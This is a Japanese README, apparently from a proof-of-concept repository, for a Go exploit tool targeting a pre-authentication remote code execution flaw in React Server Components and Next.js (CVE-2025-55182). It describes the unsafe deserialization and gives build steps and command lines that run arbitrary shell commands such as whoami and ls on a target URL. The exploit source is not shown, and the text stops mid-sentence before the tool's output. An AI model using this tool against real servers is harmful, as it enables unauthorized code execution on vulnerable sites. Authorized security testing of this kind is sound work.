
React2Shell RCE脆弱性(CVE-2025-55182)のエクスプロイトコード。React Server Components 19.0.0-19.2.0に影響します。安全でないデシリアライゼーションを悪用し、認証なしのリモートコード実行を実現します。
React Server Components (RSC) / Next.js のリモートコード実行脆弱性に対する概念実証 (PoC) です。
React Server Components バージョン 19.0.0、19.1.0、19.1.1、19.2.0 には、認証前のリモートコード実行脆弱性が存在します。これには、react-server-dom-parcel、react-server-dom-turbopack、react-server-dom-webpack の各パッケージが含まれます。脆弱なコードは、HTTP リクエストから Server Function エンドポイントへのペイロードを安全でない方法でデシリアライズします。
⚠️ 警告:このツールは認可されたセキュリティテスト専用です。
go build -o exploit exploit.go
または直接実行:
go run exploit.go
./exploit -u <URL> -c <command>
-u - ターゲット URL(必須)-c - 実行するコマンド(デフォルト: id)# 基本的な使用法
./exploit -u https://vulnerable -c "whoami"
# 別のコマンドを実行
./exploit -u https://vulnerable -c "ls -la"
# go で直接実行
go run exploit.go -u https://vulnerable -c "pwd"

このツールは以下を出力します: